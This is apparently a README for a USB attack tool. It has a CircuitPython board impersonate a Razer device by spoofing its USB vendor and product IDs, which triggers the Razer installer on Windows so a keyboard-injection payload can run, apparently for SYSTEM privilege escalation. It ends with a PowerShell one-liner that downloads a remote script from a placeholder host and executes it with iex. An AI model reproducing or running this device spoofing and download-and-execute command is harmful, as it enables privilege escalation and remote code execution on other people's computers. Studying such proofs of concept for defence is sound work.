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Designed for https://wiki.seeedstudio.com/Seeeduino-XIAO/, but should work on any board that can run circuitpython and has USB.

Either compile your own, or use Seeeduino_XIAO_fake_razor_firmware.uf2 if you are using the Seeeduino XIAO.

Howto

  1. Put board into load firmware mode (trigger reset twice for the XIAO)
  2. Put the firmware .uf2 file on the USB drive that appears
  3. Wait for chip to reboot. It should show up as a Raxor device (and start the installer if it hasnt already run on the PC)
  4. Adjust main.py to run your own payload, possibly also adjust wait time for installer to launch
  5. Put boot.py, main.py and adafruit_hid on the circuitpython drive

To re-trigger the Razor installer if it has already launched once, right click the device in Control Panel\Hardware and Sound\Devices and Printers and select Remove Device then re-plug the chip.

Building your own firmware

Clone https://github.com/adafruit/circuitpython and change ports/<cpu type>/boards/<board>/mpconfigboard.mk (e.g. ports/atmel-samd/boards/seeeduino_xiao/mpconfigboard.mk) so that

USB_VID = 0x1532
USB_PID = 0x023e

Optionally also set

USB_PRODUCT = "Razer device"
USB_MANUFACTURER = "SYSTEM EOP"

then build for that board.

Nyan

Run nyan.ps1 to get nyan cat (popping calc.exe is lame). Use cmd /c start powershell -noexit -c "iex (New-Object Net.WebClient).DownloadString('http://host/nyan.ps1')" to start in a new window.